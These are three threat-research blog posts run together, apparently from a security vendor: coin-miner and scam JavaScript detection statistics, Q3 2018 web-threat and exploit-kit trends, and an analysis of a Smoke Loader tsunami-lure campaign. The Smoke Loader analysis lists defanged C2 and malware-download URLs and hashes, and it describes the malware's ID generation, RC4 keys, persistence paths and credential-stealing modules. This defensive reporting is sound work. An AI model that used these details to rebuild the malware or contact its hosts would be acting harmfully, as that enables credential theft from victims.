Caught in the Act: From Intrusive Coin Miners to Scam Websites

Posted on by Oleksii Starov

At Palo Alto Networks, we use various methods to detect malicious web pages and malicious JavaScript on websites our customers visit online. In addition to static approaches such as signature matching, our security crawlers execute all scripts discovered on web pages and observe their dynamic behavior. Then, we apply special behavioral signatures based on different indicators, such as global variables declared during runtime, popup messages shown to the user, established WebSocket connections, and others. Using such signatures we are able to detect malicious campaigns even in obfuscated, packed, or randomized JavaScript, as final malicious behavior remains the same. In particular, this method proved efficient in discovering such modern threats as intrusive coin miners (previously described here) and numerous kinds of scam campaigns.

In November 2018, we detected 8,712 distinct URLs with intrusive coin miners, which our customers attempted to visit more than one million times from more than 30,000 devices. In addition to the most popular, Coinhive, only a few other libraries are noticeably present, such as JSE-Coin, Crypto-Loot, and CoinImp. Unlike dedicated malicious websites that serve no other legitimate purposes, coin mining scripts are sometimes injected voluntarily into popular video streaming sites, therefore their domains are significantly more long living and popular than sites hosting other types of malicious JavaScripts. However, with behavioral analysis we can separate unauthorized coin mining (which starts without user consent), and thus detect and denylist really intrusive cases.

In addition, we captured 4,633 additional distinct URLs that lead to scams, clickjacking, phishing, and other malicious JavaScripts that were frequently targeting our customers from around the globe. Two of the most observed scam campaigns were technical support scam and fake Flash update pages.

Trends in Malicious JavaScript

From October 19, 2018 to November 19, 2018, we applied behavioral analysis to URLs coming from Palo Alto Networks customers that were unknown to our URL filtering categories on a daily basis. We then crawled Alexa’s top one million URLs as well as a feed of recently registered domains. Overall, we detected 9,104 coin mining scripts (over 8,712 distinct URLs), and 4,788 other malicious JavaScripts (over 4,633 distinct URLs),  which were undetectable using static analysis.

Results for Coin Miners

On average, we were detecting 1,097 coin mining URLs per day, including 184 previously unseen malicious URLs. Figure 1 shows the daily detection rates in detail (note, this is not a cumulative plot as it shows independent results per each day). Despite minor periodic drops in number, the overall trend of newer detections remains stable over time. Also, we keep detecting the same coin miners from day to day, highlighting the fact that coin mining websites are longer living compared to other more indisputable kinds of malicious JavaScript, such as phishing or exploits.

Figure 1. Daily detection rate of coin mining URLs

Figure 2 illustrates the distribution of popular families of coin miners among 9,104 scripts detected during the mentioned month. As we can see, Coinhive is leading with 46.8%, followed by 12.6% of anonymous Stratum Protocol communications. While other coin mining libraries trail behind; such as JSE-Coin (10.9%), Crypto-Loot (10%), CoinImp (6.7%), Monerise (6.6%), and NeroHut (1.4%). Interestingly, more than ten other coin mining libraries, including CoinNebula, BatMine, DeepMiner, CryptoNoter, Minr and others, collectively contribute to only 5% of all the detected scripts. This is possibly an indication of a change in coin mining trends, as we were detecting more of those libraries previously. Moreover, during past month we did not observe several libraries that were detected up to three months ago, namely WebXMR, ProjectPoi, and Grindcash.

 

Figure 2. Top recently observed coin miners

6,026 out of the 8,712 URLs with coin miners, or 69.1%, perform “unauthorized” coin mining. In other words, they start mining immediately after visiting the page, without asking users for consent. The most popular choice among coin mining libraries to perform unauthorized mining were CoinImp (unauthorized in 100% cases over 612 scripts), Crypto-Loot (in 86% cases over 906 scripts), Coinhive (in 77.7% cases over 3,312 scripts), and other 1,143 scripts generating unidentified stratum traffic.

At the same time, we observe many coin mining campaigns deploy additional techniques to remain stealthy. These include tactics such as static obfuscation and packing of their code. For example, we encountered many variations of mining JavaScript libraries similar to the one below, served from custom servers and usually named unrecognizably or even pretending to be popular benign scripts, such as “jquery.min.js”.

In such cases, matching of static signatures and file hashes can be challenging as they are almost always unique, but when we execute these scripts, it is straightforward to detect the same known global variables created on the page, namely “CoinHive” and “miner”. Moreover, the process of coin mining can also be detected by analyzing the WebSocket traffic.

As a result, at least 1,414 out of 4,264 Coinhive scripts, or 33.2%, were detected only because we were using dynamic analysis with behavioral signatures. Other methods, such as hash matching of the abstract syntax tree, could not bypass the obfuscation.

It is worth mentioning that we detected many cases when the same web page rotates coin miners from visit to visit or hosts several different coin mining libraries at the same time. For examples, such pairs as Coinhive and JSE-Coin, or Crypto-Loot and NeroHut are common. Figure 3 illustrates a screenshot for one of such case, when both libraries start to mine immediately after visiting the page. Due to these occurrences, the overall number of detected mining scripts for one month (9,104) was greater than the overall number of unique URLs (8,712).

Figure 3. Example of a website with two active coin miners

Results for Scam JavaScript

As for other malicious JavaScripts (excluding coin miners), we were able to detect around 184 additional URLs per day, and around 143 new URLs. Figure 4 shows the daily detection rates. As shown, rates for the overall detected URLs and newly discovered URLs are much closer to each other than on Figure 1 for coin miners. This means that URLs hosting scam-related JavaScript are shorter lived and are less likely to be observed for many days in a row.

Figure 4. Daily detection rate of scam URLs

Outside of coin miner JavaScript attacks, we also discovered 4,788 non-mining malicious samples with the distribution seen in Figure 6. As we mentioned earlier, technical support scams and fake Flash update scams were the most popular malicious campaigns of November 2018 (examples of such malicious pages are shown on Figure 5). At the same time, other types of malicious scam campaigns include phishing kits, clickjacking kits, fake reward and other kinds of modern scams.

Figure 5. Screenshots of the most popular scam pages in November 2018

 

Figure 6. Top recently observed on-mining malicious JavaScripts

Particularly interesting is the case of technical support scam pages, which trick users into calling and paying scammers or installing unwanted programs. Analyzing these pages revealed evidence indicating they may all be associated with a single actor group. First, of the 1,989 found URLs that lead to technical support scams, at least 1,668 resulted in the same page with the same screenshot, such as the one shown on the left of Figure 6. These pages were showing JavaScript popups with the same alarming text:

Second, many recent landing pages of these URLs were hosted on domains that followed the same pattern according to the regex below (for example, “gaf9342[.]space” and “gba9462[.]site”).

In comparison, the Fake flash update pages were more adaptive to the victim, showing different pages in cases of Google Chrome vs. Internet Explorer, and MS Windows vs. Mac OS. In addition, fake Flash campaigns update their popup texts more frequently. For example, below is the most common text in fake Flash on-page alerts:

It is important to emphasize that exact text matches of such alerts would result in a limited number of detections, instead we train our models based on the most significant terms associated with scams. Therefore, we are prepared for different text randomization and obfuscation tricks that attackers may apply, such as double spaces between key words as with “Flash Player” above, injection of new lines, and messages in other languages.

Other types of malicious JavaScript, such as redirectors/injectors, droppers, and exploits were not as widely detected by behavior-based approaches in November (less than 1% according to Figure 6). Such threats includes simpler scripts such as redirectors, which usually just drop an iframe on the page, do not usually use global variables. Palo Alto Networks implements other techniques to detect such malicious scripts. For example, we analyze all sub-requests originating from the page during crawling, including requests from injected malicious iframes and scripts. As for exploit kits – we inspect OS-level behavior of the exploit kits within a high-interaction Windows/IE environment.

Malicious Domain Analysis

Overall, we discovered 8,712 coin mining URLs which resolve to 7,654 distinct domains. In addition to coin mining, we detected 4,633 URLs with other malicious scripts which resolve to 2,666 domains. We looked up both sets of domains in our passive DNS (pDNS) database, which gave us the ability to estimate both their life span and popularity. Figure 7 is a scatter plot showing how many days each domain was active and how many times it was resolved (or in other words, how popular is the domain).

Figure 7. Life span vs. popularity of malicious URLs

Based on Figure 7 we can infer that coin mining domains are significantly more popular and longer-living, whereas other malicious domains usually live less than 100 days and receive less than 10,000 DNS resolutions (lower cluster of blue dots). This is not surprising as scam and phishing campaigns eventually get discovered and blocked, and thus have to rotate their domains. Contrastingly, coin miners usually fall into a grey zone, being malicious enough that users want to block the mining, while not always being enough reason to permanently block a domain or shutdown a server. Even many reputable websites deliberately incorporate coin miners, forcing their visitors to agree with that in exchange for ‘free’ content access.

As we see on Figure 7, some  domains are extremely prevalent, receiving more than tens of millions DNS resolutions and living for more than 4 years. These examples include domains directly related to mining (such as, “coinhive[.]com” and “moonbit[.]co[.]in”), as well as various websites with high-demand content (such as, “xxgasm[.]com”, “seriesfree[.]to”, “rumorfix[.]com”, and “gooddrama[.]net”). Interestingly, on the scatter plot we also see domains with many DNS requests, but with a shorter life cycle. We suspect that those are cases when an illegitimate website is registered and becomes very popular. For example, “indoxxi[.]cool” offering online movies lived for only 14 days, but already has 63,694 resolutions in pDNS records.

Examples of non-mining malicious JavaScripts are usually hosted on specially-crafted domains, such as, “win32-0x2ndt-firewall-error[.]gq” (technical support scam), “www2[.]betterdealupgradeaflash[.]icu” (fake Flash update), or “paypal-verificationupdate[.]obay[.]me” (phishing). Or in general, on less popular websites. One may notice that on Figure 7 there are also rare cases of highly popular and long-living scam domains. For example, these are domains of URL shorteners (e.g., “ow[.]ly” and “smarturl[.]it”), domains serving ads and frequently used by scam campaigns (e.g., “blank[.]com” and “elitedollars[.]com”). Similarly, popular but illegitimate websites (e.g., “mytorrents[.]org” and “yourmovie[.]org”) also exist over longer period of time.

After analyzing Alexa rankings for TLD+1 domains (e.g. xyz.com instead of abc.xyz.com) of the detected coin mining domains, we were surprised to find that the majority of them, namely 66.9%, were in Alexa’s top million at least for one day during that month. Moreover, 1,295 coin mining domains remained in the top million, including 37 domains in the first 10,000. On one hand, these results suggest that when reputable websites begin to adopt mining, they are likely to drop out from the top popular websites. On the other hand, we are still alarmed by the high number of unauthorized coin miners among the Alexa’s top million websites. Figure 8 shows the distribution of 1,295 coin mining domains we detected across Alexa’s rank ranges, and we clearly see that unauthorized miners dominate even in the top 100,000.

In contrast, only 71 from non-mining malicious JavaScript domains were found in Alexa’s top million, including 7 in the top 10,000. One of the most popular examples for both mining and non-mining categories of malicious JavaScripts were websites hosted on “blogspot[.]com”, since each subdomain consists of a completely different website.

Figure 8. Rank distribution of coin mining domains in Alexa's Top Million

Table 1 lists the most popular TLDs, which serve coin miners and other malicious scripts. As we see, the [.]icu TLD was abused the most in November to distribute different kinds of scams. Regarding coin mining domains, most of them reside on the more reputable [.]com TLD, which matches our previous finding that miners are often times present on more popular and long living websites (such as blogs, video downloads, and torrents).

Coin miners Malicious JS
TLD # Domain TLD # Domain
com 3487 icu 1299
ir 394 com 409
net 337 club 290
ru 319 xyz 83
org 285 tk 61
br 206 cf 49
tk 111 net 32
info 108 ga 27
de 91 ml 23
in 91 online 22

Table 1. Top 10 TLDs Serving coin miners and malicious JavaScript

In order to understand the geography of malicious websites, we translated their IP addresses into locations. Figure 8 shows the country-level distribution of the IPs for coin miners, while Figure 9 illustrates the map for other malicious JavaScript. One may notice that coin mining websites cover more countries, though both maps show the majority of servers are located in US.

Figure 8. Country-level distribution of coin mining IPs

Figure 9. Country-level distribution of IPs serving non-mining Malicious JS

Customer Impact

During one month, our customers attempted to visit 6,804 coin mining URLs out of the 8,712 described above. Overall, we registered more than 1.1 million requests towards these websites from more than 30,000 devices. Similarly, our telemetry data reveals that 4,476 scam URLs (out of 4,633) were requested by our customers more than 243,000 times from 12,000 unique devices around the globe.

Such extensive impact on real web users puts malicious JavaScript campaigns as one of the most common threats on the modern web. Therefore, light-weight dynamic methods to detect obfuscated malicious code, which can be run on a large scale, are extremely important for proactive protection.

Conclusion

Behavioral analysis of JavaScript is important ammunition against modern threats, such as unauthorized coin miners and numerous scam campaigns. Such behavioral signatures as global variable, alert texts, and WebSocket messages, while helpful, are not the only dynamic information that helps in detecting malicious scripts. At Palo Alto Networks, we set ourselves to continue improving the detection methods of online threats and protecting our customers.

Intrusive coin miners continue to be one of the main threats on the Web, but only a few mining libraries are trending based on the past month. In addition to the most well-known Coinhive library, only JSE-Coin, Crypto-Loot and CoinImp are noticeably present. Coin mining domains are significantly longer living and more popular in comparison to scam campaigns, which makes accurately blocking them crucial for our customers’ protection. With behavioral analysis we can separate unauthorized coin mining, and detect not only the inclusion of mining libraries but also the mining process by itself.

Technical support scams and fake Flash update scams are the next most prevalent types of malicious JavaScript after coin miners. It is very important to discover and block these websites before any user visits them.

As of now, we continue to scan the web on a daily basis, enriching our database of malicious websites. As a result, Palo Alto Networks customers are protected from websites hosting malicious JavaScripts via PAN-DB URL Filtering and DNS signatures as part of the Threat Prevention subscription.

Indicators of Compromise

In the files below, we list all the URLs that lead to coin miners and scam JavaScript, which were released to PANDB based on the results described above (note, some of those URLs are malicious gateways that may lead to different landing pages).

coin_mining_urls

scam_js_urls

Web-based Threats-2018 Q3: Malicious URLs and Domains take a Dip

Posted on by Bo Qu

Executive Summary

Our Email Link Analysis (ELINK) system is routinely reviewed by our Unit 42 research team. In examining the data it collects, patterns and trends are discovered which helps us discern prevalent web threats. This blog is the third (3rd quarter of 2018) in a series of posts tracking web-based threats throughout the year, specifically statistics pertaining to malicious URLs, domains, exploit kits, and CVEs.

During Quarter 3 (Q3), July – September, a notable shift occurred with the malicious URL and domain data; there was a significant drop in the number of malicious URLs as well as a drop in malicious domains that will be discussed below. In addition, we will be covering an interesting malicious Flash SWF that exploits CVE-2015-5119.

URLs

Based on our analysis of data from Q3 of 2018, we’ve observed a reduction in malicious URLs. The total number dropped around 40% from Q2. As you can see below in Figure 1, Q1 had the highest number of malicious URLs thus far, coming in at 1583. The total for Q2 was much less with 1373 seen, making Q3, with 783 recorded malicious URLs, an overall sizable drop.

Figure 1. Malware URLs from Q1 to Q3 2018

These malicious URLs have also been broken down by countries. Out of the 783 URLs, the United States still dominates the top 5 list of hosting countries with 331 malicious URLs recorded as shown below in Figure 2. The top three are consistent in ranking with our Q2 analysis that can be seen here.

Figure 2. Top 5 malicious URL hosting countries from Q3 2018

Domains

Although not as drastic of a decline in numbers as malicious URLs, the number of malware hosting domains has also decreased from last quarter. From 464 malware hosting domains in Q2 to 310 in Q3 as seen in Figure 3 below.

Figure 3. Malware domains from Q1 to Q3 2018

 In monitoring the domain hosting data, a pattern has emerged. Since the beginning of the year, the same top 5 countries are present: United States, Russia, China, Hong Kong, and the Netherlands. These results may not seem surprising, especially the top 3, but it’s always interesting to see the movement of numbers throughout the quarters which are detailed in Figure 4 below.

 Figure 4. Malware domains in Q1 2018

Exploit Kits

Unlike Q2, we did not observe a major difference between the distribution of two major exploit kit families we are tracking, Grandsoft/Sundown/Rig and Kaixin. In Q2, we noticed a clear geographic distribution between the two families. Kaixin was heavily seen in China and Grandsoft/Sundown/Rig in the US. However, from the data in Q3, the boundary between the two exploit kits is ambiguous. In Q3 there is a shift, more Kaixin exploit kits are hosted in US.

  Figure 5. Kaixin EK distribution.

Figure 6. Grandsoft/Sundown/Rig EK distribution.

In addition to the two major exploit kit families, two samples of Terror EK and nine samples of Fallout EK were found in Q3.

Vulnerabilities

The recorded CVEs have not changed much since the beginning of 2018. The top 3 vulnerabilities in Q3 are the same as in Q2. Table 1 shows the rundown of the most common CVEs since Q1.

 

Q1 Top CVE Q1 top Trigger Q2 Top CVE Q2 top Trigger Q3 Top CVE Q3 top Trigger
1 CVE-2014-6332 774 CVE-2016-0189 472 CVE-2016-0189 225
2 CVE-2016-0189 219 CVE-2018-8174 291 CVE-2018-8174 139
3 CVE-2015-5122 85 CVE-2014-6332 67 CVE-2014-6332 50

Table 1. Most triggered CVE Q1 to Q3 2018

 Most of the currently exploited CVEs are not new. In fact, although they didn’t make the top 3 list, the exploitation of a decade old CVEs are still showing up in our data. Below is an overview of the CVEs that have been triggered in our ELINK system.

CVE-2008-1309: The RealAudioObjects.RealAudio ActiveX control in rmoc3260.dll in RealNetworks RealPlayer Enterprise, RealPlayer 10, RealPlayer 10.5 before build 6.0.12.1675, and RealPlayer 11 before 11.0.3 build 6.0.14.806 does not properly manage memory for the (1) Console or (2) Controls property, which allows remote attackers to execute arbitrary code or cause a denial of service (browser crash) via a series of assignments of long string values, which triggers an overwrite of freed heap memory.

CVE-2008-1472: Stack-based buffer overflow in the ListCtrl ActiveX Control (ListCtrl.ocx), as used in multiple CA products including BrightStor ARCserve Backup R11.5, Desktop Management Suite r11.1 through r11.2, and Unicenter products r11.1 through r11.2, allows remote attackers to execute arbitrary code or cause a denial of service (crash) via a long argument to the AddColumn method.

CVE-2008-4844: Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.

CVE-2009-0075：Microsoft Internet Explorer 7 does not properly handle errors during attempted access to deleted objects, which allows remote attackers to execute arbitrary code via a crafted HTML document, related to CFunctionPointer and the appending of document objects, aka "Uninitialized Memory Corruption Vulnerability."

CVE-2010-0806：Use-after-free vulnerability in the Peer Objects component (aka iepeers.dll) in Microsoft Internet Explorer 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object, as exploited in the wild in March 2010, aka "Uninitialized Memory Corruption Vulnerability."

CVE-2010-3973: The WMITools ActiveX control in WBEMSingleView.ocx 1.50.1131.0 in Microsoft WMI Administrative Tools 1.1 and earlier in Microsoft Windows XP SP2 and SP3 allows remote attackers to execute arbitrary code via a crafted argument to the AddContextRef method, possibly an untrusted pointer dereference, aka "Microsoft WMITools ActiveX Control Vulnerability."

CVE-2012-1889：Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

CVE-2014-6332：OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka "Windows OLE Automation Array Remote Code Execution Vulnerability."

CVE-2016-0189：The Microsoft (1) JScript 5.8 and (2) VBScript 5.7 and 5.8 engines, as used in Internet Explorer 9 through 11 and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-0187.

CVE-2018-8174：A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka "Windows VBScript Engine Remote Code Execution Vulnerability." This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers.

CVE-2015-5119 Exploit Still Used in the Wild

The vulnerability CVE-2015-5119 was found in the Hacking Team leak in 2015. This critical vulnerability in Adobe Flash Player can allow remote attackers to execute arbitrary code. In Q3, we detected a malicious Flash file utilizing vulnerability CVE-2015-5119 in the wild.

Exploit Framework

On August 27th, 2018, our ELINK system found a URL in a porn site embedded with a malicious Flash file that takes advantage of CVE-2015-5119. It’s interesting to point out how the attacker weaponized this exploit in the wild.

The exploit code takes advantage of the vulnerability by assigning a large number to one of the vector objects. Through the corrupted vector object, the attacker has Read&Write privileges to modify the entire process memory. This is typically the first step for attackers when hijacking the control flow. Next, by calling the native Flash function, the exploit code assigns the memory permission to Read Write Execute (RWE) as shown in Figure 9. Finally, the exploit code changes the content of the stack and eventually hijacks the control flow.

 Figure 7. Exploit code changed shellcode memory permission

After the Adobe Flash Player is fully controlled, the exploit code executes the real shellcode for the last stage of the exploit.

The shellcode is highly obfuscated for thwarting the process of reverse engineering. After the shellcode loads specified libraries, it creates a thread to connect the C2 with the specified user agent which then verifies the response from the C2. The shellcode extracts the XOR key from the C2 response and decrypts all the C2 content as a new shellcode. At this point, it would be possible for remote attackers to fully control the victim’s machine by executing the shellcode from the C2.

Conclusion

Looking at this quarter’s trends, we see a surprising drop in malicious URLs globally. Meanwhile, the United States remained the top hosting country for malicious sites and exploit kits.

While our ELINK system indicates 10-year-old vulnerabilities still being exploited, most of the vulnerabilities showing up were discovered within the last 5 years.

In Q3, the United States based domains hosting the Kaixin exploit kit almost doubled from Q2. This significant change was surprising considering the total number of domains drastically dropped. It also reveals the geographic division for the various exploit kits are ambiguous.

Next quarter, we’ll return to review this quarter’s statics and trends against the latest data from ELINK to help better understand the threat trends in the wild.

 

 

Analysis of Smoke Loader in New Tsunami Campaign

Posted on by Kaoru Hayashi

On November 8th, the Japanese Meteorological Agency issued an alert about a fake tsunami warning email masquerading as coming from the agency. According to the alert, the email was written in Japanese and asked recipients to click the link to confirm their evacuation area from a tsunami after an earthquake. The link in the email is not critical information to save your life but malware to steal crucial information from you. The malware is Smoke Loader, infamous commodity malware used by various cybercriminals since 2011.

Smoke Loader is a modular loader where attackers can select any payload to be installed on the victim by Smoke Loader. Thus, the final payload can vary between attacks. For example, we previously reported on the Retefe Banking Trojan being distributed by Smoke Loader in Sweden, and Japan. We have also seen backdoors, ransomware, cryptominers, password stealers, Point-of-Sale (PoS) malware, and banking Trojans installed by Smoke Loader.

This attack seems to be aiming to steal credentials from unidentified targets in Japan and took a similar approach to normal targeted attacks. The attacker registered the fake Japanese government agency domain and ensured the file path to the malware on the server is close to the legitimate agency web site. They wrote the lure email in fluent Japanese and did not distribute it broadly. In late November, the attacker started using another commodity malware known as AzoRult. Figure 1 shows the timeline of this attack.

Figure 1 Time line of the attack

 

Smoke Loader Analysis

Though it’s been seven years since Smoke Loader first appeared, the author keeps updating the code. Malwarebytes published an excellent analysis of Smoke Loader in 2016. The samples we looked at added the following techniques to avoid detection or analysis.

  • Code obfuscation by junk jump
  • Decrypts subroutines and encrypts them after execution
  • Employs PROPagate trick to inject second stage code into an explorer.exe process
  • Changes the algorithm of generating the unique ID
  • Encrypts network traffics and payload file

Some of these techniques were already reported by FireEye and Talos this year. We will focus on the unique ID, C2 communication, and the payload in this blog.

 

Generating a unique ID

Initially, the threat generates a unique ID for the compromised machine from the computer name, the hardcoded static number(0B0D0406), and the volume serial number of the system drive. Smoke Loader uses the unique ID for three purposes:

  • Tracking the compromised machine at C2.
  • Encrypting payload by the ID.
  • Creating random file names for persistence.

Here’s how to create the unique ID. If the computer name is “Test_PC” and the volume serial number is “12345678”, the threat appends the three values like the following:

"Test_PC" + "0B0D0406" + "12345678" = "Test_PC0B0D040612345678"

and it calculates the MD5 hash value of the string,

MD5("Test_PC0B0D040612345678") = 41EE612602833345FC5BD2B98103811C

It then appends the volume serial to the hash value and gets the 40 characters unique ID.

"41EE612602833345FC5BD2B98103811C" + "12345678" = "41EE612602833345FC5BD2B98103811C12345678"

Next, Smoke Loader generates two strings based on the first eight characters and the last eight characters of the ID. Following is the algorithm written in Python.

 

Smoke Loader uses these strings for the file name. It copies itself as follows.

%APPDATA%\Microsoft\Windows\[stringA\[stringB].exe

and it creates following shortcut file to execute the threat when the computer starts.

%StartUp%\[stringA].lnk

These two strings look random. However, the attacker always generates two identical strings to the compromised machine since it is based on the static values of the environment.

 

C2 Communication

Smoke Loader contains the following hardcoded C2 address.

jma-go[.]jp/js/metrology/jma.php

An outline of initial C2 communication follows.

  1. Smoke Loader sends the encrypted data to C2 by HTTP POST method.
  2. C2 server replies HTTP 404 response (Not Found) with encrypted data.
  3. Smoke Loader extracts the plugin from C2, encrypts it by using the unique ID, and saves it local disk.
  4. Smoke Loader extracts the payload modules from the encrypted plugin file and injects them into an Explorer.exe process.

Figure 2 Initial communication

 

Making initial POST data

Smoke Loader creates the data to send C2. At offset 0, there is a marker ‘E207’ followed by the unique ID (Figure 3). The marker is ‘072E’ in little-endian form and ‘2018’ in decimal. Smoke Loader uses the marker every time communicating with C2.

Figure 3 POST data

 

Smoke Loader finally encrypts the data with RC4 cipher by using the static key 0x161A9A0C and send it to the C2 by HTTP POST method.

 

Plugin from C2

The C2 server responds the plugin data contains the final payload with HTTP 404 status code. Smoke Loader obtains the encrypted header size from the first DWORD value of the plugin and decrypts the following bytes with RC4 cipher by the different static key 0x1D17D70A. Figure 4 shows the plugin data after decryption. It then verifies the marker ‘E207’ and gets the plugin size which is defined in the "plugin_size’ variable.

Figure 4 Reply data from C2

After checking the plugin size, Smoke Loader encrypts plugin data with an RC4 cipher using the unique ID and saves it as the following path with the generated string from the ID. Since the file is encrypted with the distinct value to the machine, the file hash is always different on each computer even if the plugin is identical.

%APPDATA%\Microsoft\Windows\[stringA]\[stringA]

Then Smoke Loader decrypts the saved plugin data. The plugin data has thirteen-byte length header and consists from following values.

Offset Size Value
0x00 DWORD Plugin size
0x04 DWORD Plugin marker, 0xD5A08DD8
0x08 DWORD Unknown, possible plugin identifier
0x0C BYTE Number of modules in the plugin

Table 1 Plugin header

 

The plugin can contain multiple modules. In the case of this tsunami campaign, the payload contains six modules. Each module has a header that includes its size and RC4 key to decrypt.

Figure 5 Plugin header and module header

Smoke Loader decrypts a module with RC4 cipher by the specified key. After verifying architecture flag (64 bit or 32 bit) in the module, the threat executes Explorer.exe process and injects the module into the process. Since the threat repeats this the number of modules times, there should be multiple Explorer.exe processes on the compromised machine.

 

Payload Modules

Table 2 shows the list of modules in this campaign. There are three types of functions in two architectures.

Module Architecture Function
1 32 bit Stealing stored credential from browsers and email programs
2 64 bit Incomplete porting of Module 1
3 32 bit Stealing data sending from Browsers
4 64 bit Same with Module 3
5 32 bit Stealing login credential from email protocols
6 64 bit Same with Module 5

Table 2 Module list

When injecting modules, Smoke Loader passes the configuration data including the following values to the modules for C2 communication. Each module has exact same C2 communication code with the loader.

  • RC4 encryption key for HTTP POST
  • The unique ID
  • C2 URL

Module 1

This module aims to steal stored credentials in following programs.

  • Internet Explorer
  • Firefox
  • Chrome
  • Opera
  • Chromium
  • Yandex
  • Amigo
  • QQBrowser
  • Outlook
  • Thunderbird
  • WinSCP

Module 2 contains a partial code of Module 1 but appears to be in the under development phase.

Modules 3 and 4

These modules hook APIs and steals all data being sent data from following browsers.

  • Firefox
  • Internet Explorer
  • Edge
  • Chrome
  • Opera

Modules 5 and 6

These modules hook APIs and steals user id, password, and their associated remote ftp and email server addresses on following protocols.

  • FTP on port 21
  • SMTP on port 25, 587, 2525
  • POP3 on port 110
  • IMAP on port 143

 

Infrastructures and another tools

A person registered the domain name jma-go[.]jp on Oct 30, 2018. The domain does not have a second level domain name, such as .co.jp nor .ne.jp. It is defined as General-use JP domain name by JPNIC. In the definition, JPNIC described the registration requirements of the general-use JP domain name as following.

‘In the general-use JP domain name system, we have established what we call a "local presence" prerequisite, which asks for a connection or relationship with Japan.‘

According to the Whois information of the domain, the domain was owned by a person who has a postal address in Russia and uses a Gmail address. The registrant may change the postal address after registration or could prove a connection or relationship with Japan.

The same person also registered another eight domains with the same Gmail address. We found that the three of the domains were used in attacks involving the Android banking trojan/password stealing malware, Marcher from Feb to March in 2018. We haven’t identified the targets of the mobile malware yet. Following is the sample list.

 

Domain Marcher SHA256
Sungmap[.]at 254925e47fbfff4786eada6cbcb0805ed79d9bd417955c016236143eb2ecd827
Mountainhigh[.]at 75edaae605622e056a40c2d8a16b86654d7ddc772f12c4fc64292a32a96fde7a
Racemodel[.]at 55ae2b00234674d82dcc401a0daa97e7b3921057a07970347815d9c50dddbda8

Table 3 Domains and Marcher hashes

 

On November 25, we confirmed that another malware, AzoRult, was served from the same URL previously serving Smoke Loader. AzoRult is also a commodity malware that steals credentials, cookies, and cryptocurrencies. This AzoRult accesses the following C2 address, which is a different path on the same C2 server with the Smoke Loader.

www.jma-go[.]jp/java/java9356/index.php

We observed three AzoRult samples using the same C2 at the time of writing this blog. The attacker distributes those files from following URLs.

  • thunderbolt-price[.]com/Art-and-Jakes/Coupon.scr
  • bite-me.wz[.]cz/1.exe

thunderbolt-price[.]com was registered in 2012 in Japan, and the Privacy Protection Service protects its registrant information. The website of the domain does not host content at the top page as of today. According to the Google search, the domain appears in shopping related pages from 2014 to 2015. Interestingly, those web pages are low-quality and mostly hosted on hacked web servers. These web pages are likely created for malicious Search Engine Optimization (SEO) backlinks which gain scores for better page rank in the search engine results. Figure 6 is a ladies’ shoes shopping web page hosted on the website of a construction and building materials company in Turkey.

Figure 6 SEO backlinks on hacked site

 

The domain may have been used for a shopping or affiliate site previously, but the owner does not use it for that purpose anymore. It looks like the attacker compromised the website, which had not been used for few years, and is using it for distributing AzoRult. However, we don’t know the connection between the attacker and the current owner of the thunderbolt-price[.]com.

Table 4 shows the timetable of infrastructure changes and timestamp of malware.

Date Activities
Oct 30, 2018 Registers jma-go[.]jp domain
Nov 5, 2018 Smoke Loader

3d75eabb8460450a49e2fb68053d9f591efe5aefd379205e5cc3af574bb9f415
Nov 6, 2018 Smoke Loader

8a1aab36c3940e4dd83f489432fa710fba582e254c3a52459c52826d6a822f2d

0db3fd1394b15b98f4e112102cdec6cc569062cdb199b66c5838c54cbc286277

be3817b9f14df3e0af82ae47b0904ac38d022e2b2d7bb7f8f9800b534b60183c
Nov 8, 2018 Smoke Loader

27aa9cdf60f1fbff84ede0d77bd49677ec346af050ffd90a43b8dcd528c9633b
Nov 9, 2018 Smoke Loader

42fdaffdbacfdf85945bd0e8bfaadb765dde622a0a7268f8aa70cd18c91a0e85
Nov 15, 2018 Smoke Loader

fb3def9c23ba81f85aae0f563f4156ba9453c2e928728283de4abdfb5b5f426f
Nov 24, 2018 AzoRult

70900b5777ea48f4c635f78b597605e9bdbbee469b3052f1bd0088a1d18f85d3
Nov 25, 2018 Smoke Loadera

1ce72ec2f2fe6139eb6bb35b8a4fb40aca2d90bc19872d6517a6ebb66b6b139
Nov 27, 2018 AzoRult

7337143e5fb7ecbdf1911e248d73c930a81100206e8813ad3a90d4dd69ee53c7
Nov 30, 2018 Changes the IP address associates with jma-go[.]jp

from 47.74.255[.]111 to 149.129.135[.]53
Dec 3, 2018 AzoRult7

48c94bfdb94b322c876114fcf55a6043f1cd612766e8af1635218a747f45fb9

Table 4 Timetable

 

Conclusion

Commodity malware is widely used by cyber criminals these days. The authors of malware keep updating the code to expand the capabilities and trying to gain more customers. As we detailed in this article, Smoke Loader encrypts network traffic and files with various keys to avoid analysis. We recently published a report of a new variant of AzoRult that introduces a new advanced obfuscation technique to evade detection by security products. Attackers, like those in this tsunami campaign, can pick up malware fitting for their purpose from online threat marketplaces.

Palo Alto Networks customers are protected from this threat in the following ways:

  • AutoFocus customers can track these samples with the Smoke Loader, AzoRult and Marcher.
  • WildFire detects all files mentioned in this report with malicious verdicts.
  • Traps blocks all of the files described in this article.

 

IoC

Smoke Loader Samples

3d75eabb8460450a49e2fb68053d9f591efe5aefd379205e5cc3af574bb9f415
